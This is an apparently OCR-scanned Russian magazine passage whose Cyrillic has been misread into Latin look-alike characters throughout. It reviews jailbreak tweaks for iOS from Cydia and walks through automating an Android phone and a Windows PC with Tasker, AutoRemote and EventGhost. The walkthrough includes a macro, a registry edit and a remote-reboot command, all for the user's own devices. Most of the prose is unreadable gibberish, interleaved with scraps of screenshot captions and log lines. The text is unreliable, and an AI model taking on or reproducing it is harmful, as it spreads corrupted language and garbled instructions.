ynpaBnsTb YCTPOMCTBOM C MOMOLLUpIO ronoca. B otnuyme ot Siri,
npenocTaBasieT BO3MOXHOCTb Ha3HayaTb COOCTBEHHbIE KOMaH-
bl Ha pa3Hble AeincTBus. B pononHeHne k Habopy CTaHAaPTHBIX
nencTenin ¢ ropopsiwmmm nmeHamn Home, Unlock, llluminate,
Power Down, Capture, Marco MOXHO cO34aTb CBOW COOCTBEH-
Hble ¢ nomolubto Activator. [a, TBUK TpebyeT obyyeHus, 4ToObl
NPUBBLIKHYTb K TBOEMy ronocy. Peno3utopuii BigBoss, ueHa —
3 ponnapa.

ASLock. Ecnu Tbl ucnonbayelb Spotlight HevacTo nnm Boo6-
LLIe HE UCMOJb3YeLLlb, TO XECT CBAlM BHN3 MOXHO 3aMeHUTb Ha 60-
nee nonesHoe fAevictene. ASLock 3ameHsieT oTkpbiTne Spotlight
cBainom BHU3 Ha 610KMPOBKY YCTPOCTBA, a eCv Nnocne ceaina
BHU3, HE OTPbIBas NasneLl, coenarb CBawn BBEPX, OTKPOETCS 3KPaH
MHOrodaga4HocTu. Penosutopuii BigBoss, ueHa — 0,99 nonnapa.

HandFree. 3avacTyto oTBeyaTb Ha 3BOHOK He O4eHb yno006-
HO, BO3MOXHO, Tbl 32 PYJIEM UM FOTOBULWb NasaHbio. HandFree
co3paH AN TakMx cuTyaumid. locne yctaHOBKM TBMKA OTBETUTb
Ha 3BOHOK MOXHO OyAeT, NPOCTO NPOBEAS NafOHbIO Hagd, CMapT-
doHoM. Cructema cama CHAMET TPYOKY 1 BKJTIOUUT MPOMKYIO CBSA3b.
B HacTpoiikax MOXHO N3MEHWUTb HY1CI0 B3MAx0B, CKOPOCTb B3Ma-
Xa, a Takke OTMEHUTb BKJII0YEHNE MPOMKOW CBS3W. Peno3uTtopuii
BigBoss, uena — 0,99 ponnapa.

HPOCTO nosie3HOCTH

¢ Apple File Conduit 2 3ameHsieT ctaHaapTHYi0 cnyxoy AFC
(Apple File Conduit), koTopas ncnonbdyetcs ona goctyna
K painam yctpoiictea yepes iTunes. Mo ymonyanuio AFC
OTKPbIBAET JOCTYN TOLKO K MNOJIb30BATENBCKOMY KaTtasnory
(/private/var/mobile/Media), 4TO orpaHvyMBaeT BO3MOXHOCTU
paboTel ¢ ycTpoicTBom. Apple File Conduit 2 — aTo moau-
dukauma ctaHgapTHoro AFC, oTkpbiBaroLas AOCTYM K KOPHIO
darinosoit cuctemsl. [locne ee yCTaHOBKU Tbl CMOXELLb 0OMe-
HMBaTbCs No6bIMK darinamu ¢ MK nocpeacTsoM nporpaMmbl
iFunBox unu iTools. B otnnune ot afc2add pa6oTaeT B nto6oii
Bepcuu i0S.

* ProfilesPlus — TB1K, N0O3BONSIOLLMIA HACTPOUTL NPOGUNN
no BPEMEHW, Aate uiav Mectononoxenuio. Mo cytn, ato
CUJIbHO YNPOLLEHHBIV aHanor Tasker n3 Android. Bbibupa-
eLb BPEMS U1 MECTOMOJNOXEHVE U yKadblBaellb, Kakme
KOMMOHEHTbI cCMapTdOHa/nnaHLweTa AOMKHbI ObITb BKIIOYEHbI
VNN BbIKIIOYEHBI B 3TO BPEMS Uiv B 3TOM mecTe. Kak npumep:

LiBeniyapckuii HoX Ansi iPhone

é

OkHo Flex 2 c natyamm

INFO

BrowserChooser —
NPeLenbHO NPOCTON,
HO HEBEPOSITHO NONE3HbIi
TBMK, NO3BONSIOLLNIA
BbIGparh «Gpaysep
110 YMONYaHMI0».

7\

NN
WWW

[Ixeiin6peiikiOS 6-7.0.x:

900.9I/mON2LG

Dxein6peiiki0S 7.1.x:
go0.gl/ArhX5q

Caiit Saurik’a:
900.91/635XsN

N

3a6nokupoBaHHoe Npu-
noxexue «PoTo»
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BktoyeHre GPS npu Bbixoae 13 goma unm BkitodeHne 6ec-
LLYMHOrO pexuvmMa Ha paborTe.

e Apex 2 nepeoCMbICIMBAET Nanku, To4Hee, BOOOLLE NX 3aMeHsI-
eT. Bbibpas, k npumepy, knneHT Twitter, Tbl MOXellb 006aBUTb
K HeMy knueHT BKoHTakTe, Facebook, Instagram n Foursquare.
PackpbITb rpyrnny NpuaoXeHnii MOXHO ABOMHLIM TaroMm 6o
CBalNoOM BBEPX W/ BHU3, MOCIIE Yero y Te6si C YETbIPEX CTOPOH
NOSIBATCS UKOHKM J06aBIEHHbIX COLICETEN, KOTOPbIE TaKkxXe
MOXHO 3anyCTuTb. BbIrnsamT 8To o4eHb KpacuBo, a rmaBHoe —
yno6Ho. MaeanbHbli BApuaHT asia Aok-naHenu (ueHa — 2,99
nonnapa).

¢ pushNotify TpaHChnpyeT yBeaomneHus anaesainca Ha Mac.
Ins paboTbl Ha Make A0KHa ObITb YCTAHOBNIEHA OOHOVMEHHAs
nporpamma, a o6a yCTpoincTea HaxoanTbCS B NPeaenax oaHow
Wi-Fi-ceTtn. Penoautopuii BigBoss, ueHa — 0,99 nonnapa,
npunoxexve ana maka: pushnotify.freemanrepo.me.

e CCSystemStatus no6asnset nidopmaumio 06 IP-anpece
yctporicTea, cetn Wi-Fi, coToBo ceTu, 4OCTYNHOM onepa-
TVBHOWM NaMATU, HAarpy3Kke Ha NpoLLeccop 1 MHOrOM APYrom
B LIEHTP ynpasneHus. B kauecTBe 60Hyca AOCTYMHA BO3MOX-
HOCTb HACTPOVKM LIEHTPa yrnpas/ieHns nof, ce6s: u3mMeHeHve
nopsiaka 6;10K0B U UX BUAUMOCTY 1 Tak fanee. becnnarHo.

e AppLocker — TBuK Gbin pa3paboTaH eule B 2011 roay,

HO [10 CMX MOP aKTyasieH 1 ctabuibHo o6HoBNsieTcs. AppLocker
NO3BONAET 3AWMTUTL MPUNOXKEHNS 1 NANKN HE TONBbKO
rnaposieM, HO K OTneYaTkaMm nanbLes, ncnonsdys TouchlD.
AppLocker oencTsuTenibHo nepenosor TBUK U UMEET Maccy
HacTpoek, Hanpumep oTkJlo4eHne 6I0KMPOBKM NPUNOXEHNIA

B onpenenenHbix Wi-Fi-cetax. AppLocker He nycTUT 310yMbILL-
NIEHHVKA B MPUIOXEHWe, Aaxe eCNv OH NomnbITaeTcs 3any-
CTUTb NPUIIOXeEHWE He ¢ paboyero cTtona. Maponb cTaBUTCS

HE Ha UKOHKY, @ UMEHHO Ha npunoxexue. Lena — 0,99 ponna-
pa, penoautopuii BigBoss.

* Flex 2 — TBYK, NO3BONSIOLNIA OTPEAAKTUPOBATL Palinbl
NPUIOXEHNS, TEM CaMblM MOAVMDULIMPOBAB UK yOpas Te unm
MHble 06bekTbI. [pocTbiMK cnoBamu, Flex 2 no3BonsieT co3natb
nat4n. Tbl MOXeELLb AenaTb UX caMm, a Takxe 3arpyxarb 13 06-
naka. [1ns MHOTVX NPUIOXKEHNA UMEIOTCSH YXKe rOTOBbIE NaTyn
OT pa3HbIx pa3paboT4nKOB, OT yAANEHUS peKambl 40 13-
MEHEHUsi BHYTPUUIPOBOIA BantoThl. JJOCTyneH B peno3utopun
BigBoss no uene 1,99 nonnapa.

BbiBOAbI

Ecnu Tbl yXe B Teme pxennbpeiika, Haaeemcsi, Mbl pacckasanm
4TO-TO HOBOE. MHOIMM Hall BbIGOP MOXET nokasaTbCsi Hernpasusib-
HbIM, Apyrve 6yoyT KpuyaTtb, 4TO Mbl OOOLLIM CTOPOHON camoe
nosnesHoe, TpeTbn ckaxyT, 4To B iOS 8 Bce aTo yXe He paboTaeT.
B no6om cnyvae Cydia — 3T0 OFpOMHBI OKeaH codTa 1 TBUKOB,
B KOTOPOM KaXAblii HAROET MMEHHO TO, YTO NoxXenaeT. 3

®orto is locked
Enter your password

Cancel Launch
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CKOBAH

OMHOMN LIEN

f

V.

Amutpuii Mopkonaes

[IPABJIEHIS
| POVICTBA
OBPATHO COBCTBEH-
OO U3rOTOBNEHIS

A Aymalo, 4TO B HaLLM AHW OAHA N3 CaMbIX LIEHHbIX BELLLEN — 3TO BpeMs. Kak H1
CTPaHHO, COBPEMEHHLIE YCTPOWCTBA, NPU3BaHHbIE YCKOPUTbL HaLlly XWU3Hb, MO
dakTy OTHMMaIOT elle 6onbLue BpemeHun. K cyacTbio, MHOre 13 3agad, peLuae-
MbIX C MOMOLLLbIO CMaPTPOHA, MOXHO aBTOMaTU3NPOBaTb, CEPbE3HO 00ErinB
CBOE CYLLECTBOBaAHME.
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B aToW cTatbe f1, Kak akTUBHbIV MOKJIOHHUK NOPTYranbCKoro paspaboTymnka npunoxennii XXyaHa Anaca (Jodo
Dias) n ero nosyHra «Automate your life», nokaxy, kak caenarb CBOI XU3Hb HAMHOIO NPOoLLEe, aBTOMaTU3npPO-
BaB 3aja4un, TpebyloLme CBA3M cMapTdoHa C KOMMOM, APYrMM CMapTHOHOM UKW NIAHLLETOM.

B 4acTHOCTW, Mbl PaCCMOTPUM Takue 3adayu, kak OTrnpaBka TeKCTa C MiaHLeTa Ha KoM 1 HaobopoT,
otnpaeka ¢annos Ha TenedoH/NNaHLWeT N3 KOHTEKCTHOrO MEHI0 CTaHaapTHoro nposoaHuka Windows. Mebl
y3HaeM, Kak nosnyyatb yBeJOMEHUsI O COObITUSIX, MPON30LLIEALLNX HA KOMME, HAa CBON CMapPT@OH, KaK NpakTu-

4eCKM MMHOBEHHO (MCKNto4asa BpemMs Ha 3arpy3ky ¢annos) CUHXPOHN3MPOBaTb Galinibl onpeaeneHHon nanku

INFO

Ha Komre ¢ ycTpoicTBoM Ha Android 1 HA0B0POT, Kak HACTPOUTL FOJIOCOBOE YNpPaBsiEHNE KOMMOM C NMOMOLLLbIO
cmapTdoHa 1 MHOroe opyroe.

OcHoBHas nporpamma, kotopas 6yaeTt otpabartbiBaTb HaLW AEACTBUS HA YCTPOMCTBE, — 3TO Tasker (goo.
al/sAUwz3). 3a koMMyHMKaummn 6yanet oteeyatb nnarnH AutoRemote (goo.ql/itPDIU), 3a nepepady komaHa,
ronocom — AutoVoice (goo.g!/6Uakd0), a 3a BEACTBMS C NEPCOHaNIbHbIM KOMMbIOTEPOM — MnporpaMmma
o5 Windows EventGhost (goo.gl/vKXSpd). HekoTopble aelicteusi notpebytoT Hannuums root, Android Bepcuii

4.2 v BblLLe 1 yCTaHOBNIEHHOro BusyBox.

Cpa3sy 0roBoptoCb, 4TO CTaTbs paccynTaHa Ha Tex, KTO y>e 3HakoM ¢ Tasker. ECnu xe Tbl CNbILWWLb O HEM

BrepBble — A06PO NOXanoBaTh B apXMB XypHana.

INFO

Y1066l OTNPaBUTL CO-
o6uieHne AutoRemote
13i0S, mocTaTtoyHo
106aBnTb Ha paboumii
CTON 3aKNagKy co cneay-
lowmm agpecom: http://
autoremotejoaomgcd.
appspot.com/sendmess
age?key=KJIlO4&messa
ge=KOMAHJA.

TASKER
[ns Havana yctaHaBnvBaem Tasker. Mbl 6yaem Mcnonb30BaTh ero
B kayecTBe 06paboTymMKa cobbITUIA Ha yCcTpoicTBe. PekoMeHayio
OTKJ/IIOYUTL pexuM HoBuyka (beginner mode) ona maHunyns-
umnii ¢ npodunamu. MpuHaTele B cTatbe 0603HaYeHus: Nnpodunb
(profile) onpepenseTt ycnoBus cpabaTbiBaHUs cobbiTus (event)
WN COCTOSIHUS (state), B OTBET HA KOTOPOE BbIMOMHAETCS 3a4a4a
(task), cocTosiwasn n3 ogHoro nnm 6onee gelricTeuin (action).

Takxe Ham noHapobutca nnarvH anga Tasker noa, Ha3BaHMEM
AutoRemote. OH 6yneT noBuTb cobbITMA Tasker 1 B OTBET OTNpaBs-
NATb OaHHble Ha Apyrve ycTpoicTea uam komn nnbo, HaobopoT,
NPVYHMMAaTb JaHHbIE U 3anycKaTb OnpeaeneHHblii npoduns Tasker.

Mocne nepsoro 3anycka AutoRemote creHepupyeT ABa Bax-
HbIX MapameTpa, KoTopble 6yayT HeobxoAuMbl AN MOCeayto-
wux gericteuii. 310 Personal URL B Buae goo.gl/XxXx n Personal
key, KOTOpBIA MOXHO Yy3HaTb, nepenas no ccbinke Personal
URL. B agpecHoii ctpoke 6pay3epa 6yaet 3anucb Buaa http://
autoremotejoaomgcd.appspot.com/?key=YyYyY, roe cumBONbI
nocne = u ectb Personal Key. Ero Hy>XHO 3anoMHUTb Unn ckonum-
poBaTb B 6/IOKHOT.

Tasker n AutoRemote cnenyeTt yctaHOBUTL Ha BCE YCTPOICTBA,
KoTopble OyayT y4acTBOBaTb B KOMMYHMKaUuun. Jlanee Ha KaxaoMm

~ Task Edit
~ Copy To Win

1. AutoRemote Message

Configuration Recipient: EventGhost Work Mes...

3 N Tl@1420 86 & «

X Q

anm

3
Action Edit O ?

- 1. AutoRemote Mes...

Configuration ,0"

Recipient: EventGhost Work
Message: copy=:=%CLIP

Pa3pab6otumk Tackepa
(aka Pent) 3akpbin
nponaxy NpUNOXeHus
nns Poccuu no no-
JIUTUYECKUM B3MsiAaM,
HO, KOHEYHO e, MOXHO
HaiiTn anbTepHATMBHbIE
BapUaHThl.

ycTpoincTee 3anyckaem AutoRemote, nepexooum Ha BKNagky
Registered Devices (cumson TenedoHa) n B none Personal URL
BBoanm URL gpyroro yctponcTsa. Takxe MOXHO OTCKaHMpOBaTb
QR-Kof, yCTPOWCTBA, KOTOPbIM NMOKa3blIBAETCA HA MMaBHOM 3KpaHe
NPUNOXEHNS.

NMpumep: nepepaya CKONMPOBAHHOIO TEKCTa Ha Apyroe
YCTPOICTBO

Y106bI NPOAEMOHCTPMPOBATL NPUHUMN paboTbl cBA3kK Tasker +
AutoRemote, npueeay npocToi npumep npoduns. Ha yctponctee
1 cospaem 3apayy ¢ gencrtemem Plugin — AutoRemote Message.
B none Device BbiGupaem ycTpoiicTBo 2, B nose Message BBO-
oM copy=:=%CLIP. JaHHoe foelicTBMe OTNPaBUT Ha YCTPOMCTBO
2 KomaHOy copy=:= C TekcTom u3 bydepa obmeHa TenedoHa/
nnaHwerta. Ana 6onblero yno6crea MCMNofib30BaHUS CO34aeM
Ha paboyem cTone BUOXeT Tasker 1 Bbibpaem B ero HacTpokax
CO3JaHHYI0 3a4a4y, NpeABapuTesibHO MPUCBOMB 3343a4€ UKOHKY.

Ha yctpoiictBe 2 cospaem npoowunb State — Plugin —
AutoRemote ¢ nonem Message Filter copy=:=. O6s3aTenbHO cTa-
BMM ranoyky Ha Event Behaviour. na 3apayn Belbupaem neu-
ctBue Misc — Set clipboard v B none Text BBOAMM NepemMeHHyto
%arcomm (OHa COAEPXUT TEKCT Cnpasa oT =:=).

Tenepb Noce HaxaTns Ha BUAXET NepBoe yCTPOMCTBO OT-
npaBuT coaepxrmoe ceoero ydpepa obmeHa B 6ydep obMeHa
BTOPOro ycTpoKncTBa. M0 aHanorMum MOXHO caenartb MHOXe-
CTBO Opyrux Bewen. Hanpumep, co3pas Ha OOHOM YCTPOMCTBE

PROFILES TASKS

SCENES VARS

Test Remote

Send 2 Pebble

Timeout (Seconds) 3
Copy From Device
200 (» v A !
¢ AutoRemote Set Clipboard %arcomm
© copy=i= Flash CkonupoBaHo: %.
Continue Task After Error i vimeo2ec
Text: "incoming Open On PC [ on |
Files:
"D:\AutoRemote\Screensh < Sereen
ot_2014-08-11-14-39-59. HacTpoiika oTnpasku T—
png" sent successfully to Ha OTNpaBnsioWeM ) ) .
ycrpoiictee File Modified Pictures/Screenst
. i 'S % Pebble
2 Joao c“f,:':;';',es S Notificati +
Hacrtpoiika npopuns s
HanpuHMMmalowem

ycTpoicTBe
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File Edit View Configuration Help

BECIEEEEIEE T E T 1R
Log

O Configuration

D her.Created {u'D:\\Send: ')
@ file created

(8 egevent payloadi0]

@ I successful jump to "Sending file"

) Sending file

] print eg.event.payload[0]

¥ D:\Send2Nexus\AutoRemote bt

AutoRemote: Sending files to Nexus L

& ¥ successful jump to " Dalin Otnpasnen”

@ q message: ['D: ol ]
(1) Sending file: D:\Send2Nexus\ AutoRemote.bt

4 Sending file via the web

1.10 jlor P LMK nanku Send2Nexus

3 C Tree 1,1 O PYKTYpa np!

P Autostart 1.14 ABTOSarpyska
&%) Plugin: Task Create/Switch Events

5% Plugin: AutoRemote 1.15 . A 6biTb B
4% Plugin: Keyboard

{53 AutoRemote: Registering on Nexus 5

£33 AutoRemote: Registering onnews 7 1.16 Peru | Ha Y i

{39 AutoRemote: Registering on nexus L

-4 Plugin: File Operations

-3 AutoRemote: Sending Notification 1.5 OTnpasKa yBe0MAEHUA NPK SarpysKe

&k Plugin: Directory Watcher

& Plugin: Directory Watcher#2 1.17 MnaruHos Directory Watcher MOXHO NOAK/IOYATE HECKOMBKO, M KaXKA0MY HasHauaTb

5 Plugin: Directory Watcher #3 naniy cneeHuii sa onepaLuamm Hag, pannamu

&) Uploading fil 1.20 @ainel uepes Google Drive & Plugin: Directory Watcher 24
4 Uploaded file to Google Drive: https://docs.google.com/uc?id=08 UkBexport=download & Filesyne
(& Calling url https q 49 Incoming Files 1,8 Makpoc npuema $aiinos c ycrpoiicts

(&) Result from sending request: OK
J~ System.SessionUnlock [u'user] 1.6 flor

3 AutoRemote Sending PC booted to Nexus
AutoRemote: Sending Notification
(&) Calling url https

pi npu

q £ Brogauwne

(&) Result from sending request: OK

€9 SendtoNexslL
AutoRemote: Sending files to Nexus L

4 Sending file: D:\Send2Nexus\File created.jpg
(&) Sending file via the web
‘&) Uploading file File created.jpg

@) Calling url https

% Main.SentFromExplorerFile (u'D:\\Send2Nexus\\File crestedjpg’) 1.4 JIOF OTNPaBKM aiina Us KOHTEKCTHOTO MEHIO

(4 Sending files in message: ['D:\\Send2Nexus\File createdjpg']

(4 Uploaded file to Google Drive: https://docs.google.com/uc?id=085r

-8 file created

Send to Nexws 5

Send to Nexus 7
Wig&export=download

(3) Result from sending request: OK

(&) Got communication of type: Message
5

(&) This is a redirected message.
) . payload.

S 10,

it w\u04Lf

) egevent payload.arpar [u'eopy’] 1,21 TEKCT B NOre AN
@ foad.

2 \U04T\ U438\ 044 u043c
6

2 \WA4T\u0438\00, W43

(&) eg.event.payload.sender:

7 Keyboard.Ctri+ AltsV

(&) tryLocallp: False

&) keyiu

&) name: u'Nexus L' ||| 548 Tum off

@) urk 1.22 B nore BCIO o6y 71 personal URL u personal key ) Reboot

(& locallp: 1 ./, AutoRemote Message.reboot
W port:u

g Winfpi Clipboard SetCl

opy U'cop 1
Copyto Clipboard 112 JIOF KONMPOBAHMA NONYYEHHOro TeKcTa B Gydep obmeHa

435100442 \u0447\ 0438\ U044, u0a3e

t payload.arcomm)

Show OSD: Teker e .

losd - o

7 AutoRemote.Messageincoming
4 Show OSD: Monyuen Hoswiii paiin: {eg.event.payload files[0]}
(@) print eg.event.payload.files[0]

@ Start Program: explorer.exe

{2 Send2Nexus sync 1.9 Makpoc cMHXPOHM3aLIMM Nanku

- DirectoryWatcher.Created
(@ eg.event payload(0]

) I successful jump to "Sending file"
- AutoRemote: Sending PC booted to Nexus
PrintScreen 1.18 Makpoc orc.

SendtoNewsL 1.3 Ornpaska daitna us
-}~ Main.SentFromExplorer.2File

{58 AutoRemote: Sending files to Neaus L

) CopytoClipboard 1.7 MaKpoc KONMpoBaHuA B Bydep Tekcra ¢ yeTpoiicTsa
3 /7 AutoRemoteMessage.copy

{81 eg.WinApiClipboard SetClipboardT ext(eg.event.payload.arcomm)

{774 Show OSD: Texcr cxonnposar: “(<g.event payload.arcomm]
B &) Send clipboardto my device 1,13 MaKpoc oTnpasku 6ydepa o6MeHa Ha yeTpoicTBO

G AutoRemote Sending copy=:=eg WinApi.Clipboard. GetClipboardText()} to News L
48 Send clipboard to Pebble 1,19 IMaKpoc oTnpasnaer KomaHay pebmsg=:= ¢ 6ydepom. Tackep otnpasnaer Ha Pebble

1.11 Makpoc BbINOHAIOWMIA NepesarpysKy ycTpoicTsa

AutoRemote Message.neperpyums
AutoRemoteMessagenepesarpysnms
/7 AutoRemoteMessagenepesarpyzxa
7 AutoRemote Messegenepesarpyan
7 AutoRemote Messegeneperpyan
Forced: Reboot Computer

PrtSc, smyaupy! mspaint 1 BCTaBNAET KapTUHKY

0 MEHH0 N

[7]Log orly assigned and activated events [[Sarolllog

1.2 Mepsas ranovka - TONBKO Y

MHa4e B /0T MoNazayT 5CE aKTMBALIMM OKOH,

KNaBvLL M T.4.

N

OCHOBHOE OKHO
EventGhost

INFO

Yro6b1 AutoRemote
CMOr L0CTy4aTbCst
1o EventGhost, Ha komne
LOMKEH ObITb OTKPBIT
1818-i1 nopr. B HekoTOPbIX
CNy4asix ero MOXeT 3a-
610KMPOBATH BCTPOEHHbII
daiipson Windows unm
aHTUBMPYC.

npodunb, KOTOPLIN OTNPasnseT cnoso reboot, a Ha BTOpoM —
npodunb, cpabaTbiBaloWMiA HA 3Ty KOMaHAY W BbIMNOJAHSIOLLNIA
System-Reboot, MoxHO nepesarpy3ntb ycTponcTeo. Mnn mox-
HO nMepepaTtb KOMaHZy run app_name, a Ha BTOPOM YCTPOMCTBE
nns peiicteus Bbibpatb App — Launch App 1 Hy>XHyt0 nporpammy
13 cnvcka.

EVENTGHOST

[na cBA3KM YCTPOMCTB C KOMMOM HaMm noHazobutcs EventGhost.
9710 cBoero popa Tasker ons Windows, KOTOpbI/i NO3BONSIET aBTO-
MaTuanpoBatb paboTy MK. OH 6ecnnateH 1 oTkpbIT nog GPLV2, Tak
4YTO AOCTYMNEH AJ19 CKAYMBAHWNS U YCTAHOBKU KOMY YIrOAHO.

OKHO NporpamMmMbl COCTOUT U3 ABYX YacTeli: cneea — CUCTEM-
Hble florM 1 cobbITMS, cnpaBa — MakpoChbl, CrpynnuUpoBaHHble
B Tak HasblBaeMoe Configuration Tree (cm. 1.1 Ha CKpuHLWIOTE).
Bce Hawmn panbHenwwe HacTponkmn ByayT KkacaTbCsl Kak pa3 co3-
AaHns HOBbIX MakpOCOB, BbIMOJIHAKLWNX TE€ UIN UHbIE ,ueﬁcmvm
B OTBET Ha npoucxomsiime cobbitms. OCHOBHOW A13bIK NMporpam-
Mbl — Python, n MHOrne fencTeums, KOTopble N3HaYanbHO He Npesa-
YCMOTPEHbI MPOrpamMmMoii, MOXHO OCYLLECTBASATbL C MOMOLLbIO
CKPUNTOB U OENCTBUI KOMaHA NuToHa. s BCTaBKM rOTOBbIX Ma-
KPOCOB, MPVBEAEHHbIX HMXE, HEOOXOAMMO NMPaBOW KHOMKOW Ha-
xaTb Ha Configuration Tree n B MeHto BbibpaTk Paste, nocne yero
nonpaBuTb MaKpPOC Nof, ceds.

MnaruHbl

Y EventGhost ecTb [OBOSIbHO BHYLUUTENbHbIA NEPEYEHb NNarnHOB
(000.0l/uQCC1X), KOoTOpblE 3HAYMTENILHO PACLUMPSIOT €ro BO3-
MOXHOCTW. [Insi yCTaHOBKW CTOPOHHEro nnarnHa Heobxoaumo
3akuHYTb ero B nanky «Program Files (x86)\EventGhost\plugins»

Y EventGhost ectib 0080AbHO 8HYLULIMEAbHDbLIL
nepeveHb NAA2UH08, KOMOpble 3HAULUMEAbHO
pacuupam e20 803MoKHoCmuU

1 nepesanyctutb EventGhost. 1ns Toro 4to6bl NAarMH NCNonib30-
Basicsl Bcerga, Heobxoammo nobaBuTb ero B Autostart. ns onu-
CblBaE€MbIX HUXE TPIOKOB Ham noHapobaTtca nnarvH Keyboard
ONna nepexeBara U 3My/IMPOBaHWA HaxaTwuin kHonok, Directory
Watcher ona otcnexmvBaHns n3MeHeHnin B nankax 1, KOHeYHO xe,
AutoRemote ans cBA3M ¢ MOGUbHBIMUW YCTPOCTBAMMU.

Mnarux AutoRemote

Y7106bI  YCTAaHOBUTbL MnarvH, ckadmBaem ann  (goo.gl/
wg8HZq), knagem ero B nanky nnarvHoB (\EventGhost\plugins\
AutoRemote\), nepesarpyxaem EventGhost n pobasnsiem cam
nnarvH B aBTo3arpy3ky. B nosiBMBLUEMCS OKHE 3amnosHsem
4yacTb CTpOK: AobGaBnsem ycTpoicTea, 3anonHue nons Device
Name un Personal URL, KoTOpble Mbl MOAy4Mnn, ycTaHasnvBas
AutoRemote Ha ycTporictBa. Device Key OonXeH 3anonHUTLCH
aBTOMaToM npu Haxatun Tab. Takke MOXHO OTNpaBuTb CMMCOK
yCTPOMCTB € TenedoHa, 3anasa 8 AutoRemote, 3atem OIMHHBIN Tan
Ha EventGhost n B meHto BbiGpaTth Send My Devices.

Ons Toro 4ytoObl ycTpoiicTBa 3Hanu, 4to EventGhost mo-
CTyneH Ans nonyyYeHus komaHa, Heobxooumo o6aBUTb B BET-
Ky Autostart perictBue peructpaumm: AutoRemote — Register
EventGhost, B nosiBMBLLUEMCS OKHE BbIGPATb YCTPOWCTBO 1 MOBTO-
PUTb ANS OCTABLUMXCS.

D G D
__r S

TPIOKU

Tenepb y Hac ecTb BCe HEOOXOAMMOe ANsi CO34aHUS KOHDUry-
pauuii, obbeauHsWnMX Bo3MOXHOCTM EventGhost n Tasker +
AutoRemote. BOMBLIMHCTBO NPUBEAEHHBIX HUXE TPIOKOB COCTOUT
13 BYX KOMMNOHEHTOB: Makpoca EventGhost, koTopblili onpenensiet
nevicteue (Event) n peakuuio Ha Hero (Action), a Takxe npodwunsa
Tasker, KOTOPbI BbINOMHAET CXOXME 3a[a4M CO CTOPOHbI CMapT-
doHa. PaboTasi BMecTe, OHM NO3BONSIOT CAeNaTb O4eHb MHOTOe.

OTnpageka ¢aitnoB Cc KOMNa Ha yCTPOICTBO

ﬂ,ﬂﬂ OoTnpaBkn HeOﬁXO,ElI/IMO BCTaBUTb cne,u,yrou.u/u?l KoAa,
B EventGhost (npaBow kHonkoi Ha Configuration tree, 3arem
Paste):
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<source lang="HTML">

<?xml version="1.0" encoding="UTF-8" ?>

<EventGhost Version="1630">

<Macro Name="OTnpaBuTb ¢ain" Expanded="True">

<Event Name="Main.SentFromExplorer.File" />

<Action>

AutoRemote.SendMessage(u'Android Device', u'',«
u'', u'files', u'', u"',~u"'", , u'{eg.event.«
payloade (}')

</Action>

</Macro>

</EventGhost>

</source>

'

Janee otpepaktupoBatb «AutoRemote: Sending files to
Android Device» (OBa pasa KIWKHYB MbILWKOI), BbiOpaB CBOE
YCTPOMCTBO (CM. 1.4). Ha cmapTdoHe npu 3TOM HU4Yero genarb
He Hy>XHo, AutoRemote cam npumeT 1 coxpaHuT dain. OTnpaska
OCYLLIECTBNSAETCS Yepe3 KOHTEKCTHOE MEHIO MPOBOAHMKA.

OpHako ecTb y 9TOro Metoga ogHa HepopaboTtka. Mo ymon-
YaHUIO MOXHO OTMPaBUTb dain TONbLKO HA OAHO YCTPOMCTBO, Bbl-
©6paHHOoe B HacTpoiikax nnarnHa. Ecnu xe notpebyeTcst oTnpaBuTb
Ccpasdy Ha HEeCKOJIbKO YCTPOWCTB (TenedoH/MnaHLweT), npuaeTcsa
npasuTb peecTp: Ay6nmposarb 3HaveHne C:\Program Files (x86)\
EventGhost\EventGhost.exe -event SentFromExplorer.File "%1"
B BeTke HKEY_CLASSES_ROOT\*\shell\SendToEventGhost ¢ ne-
perMeHoBaHVeM nyHKTa u gobasneHnem cumsona nepegq .File.
Torga nony4nTca CTPYKTypa, Kak Ha CKpUHLWOTE. BMaeonHCTpykK-
UM AOCTyNHa Ha MOeM KaHane (goo.gl/FgB6SM).

YBeaoMneHue o BKJIIOYeHUU KoMmna
B AutoStart no6asnsiem Action — AutoRemote Notification (cm.
1.5), BbiGMpaem ycTpoincTBo u 3anonHsem Title n Text. Tenepb
npu 3arpyske koMmna (KOHe4YHO Xe, NPU HaNInYnumn nHeTa) Ha Tene-
boH npuaet yBegomneHne. MoXHO HaCTPOUTb JOMNOSHUTENbHbIE
nons: Bnbpauus, 3ByK, AEACTBUE NPU HAXATUN HA yBEOOMIIEHNE.
Ha camom pene BapuaHTOB WCMOJSIb30BaHWS yBEOOMIIEHWNIA
macca. EventGhost ymeeT pearvpoBartb Ha NpPakTUYECKN BCE CU-

Plugin Item Settings

3 AutoRemote
Send and recewe messages to and from AutoRemete on Android

Settings

EventGhost Properties

Check for updates (current version: 1.98)

TCP{IP port:

1818 [

Name to appear on your device:
EventGhost Work

Your Public TP or Host Name (ke & dyndns host name). Leave blank to get it automatically:
Your Local IP or Host Name. Leave blark to get it automatically:

Folder to store files in:
D:\AutoRemote

Browse

[¥] Automatically Open Web Pages

V| Don't open URLs if there is a command (=:=) present
Use alternative method of getting local IP. (use only if your local IP isn't correct or if you have a large delay when sending messq

/| Show all logs (disable if you want less AutoRemote logs to show up; important ones will still show.)

Windows Context Menu Text:

Send to Nexus 5
[¥] Use Google Drive so you can easily transfer files to your Android Device
Add Device

Device Name:
Device Personal URL (e.g. goo.glx¥x¥):
Device Key (Try to fil your personal URL first and this field should be automatically detected):

Existing Devices

Nexus 5
Device

Chrome:
nexus 7

S eorebct via local IP F available

é

Hactpoiika nnarnia
AutoRemote

INFO

AutoRemote Bcerna
CTPEMUTCS UCTONb30-
BaTb JIOKa/bHYIO CETb

L9 nepefayn cooouue-
HWiA, 0HAKO, €C/N 3TO
He ypaeTcs, bynet
MCMONb30BaH BHELLHWI
cepsep.

BoabuwiuHcmaeo npusedeHHbIX mproKos co-
cmoum u3 d8yx KOMNOHeHMos; Makpoca
EventGhost u npoguasa Tasker, pabomas eme-
cme, OHU N0380A5K0M coeAamb 04eHb MHO020e

w Penaktop peectpa

il removeproperties
il DropTarget
Send to Mexus 7

¥aanuTe

Mepenmenoeate

al command
Send to Mexus L
a command

4 g SendToEventGhost

n

(Maiin  Mpaska Bug WsBpannoe Cnpaska - srpyKrypa
“ ' Kounstorep || Wims Tun 3Hauenne peectpa
- HKEY_CLASSES ROOT a_b REG 57 C:\Program Files (x86)\EventGhost\EventGhost.exe -event SentFromExplorer1File "2:1"
FE N
"
. OpenWithList ]
4 g shell VI3MEHWTE ABOMYHBIE AZHHBIE. .

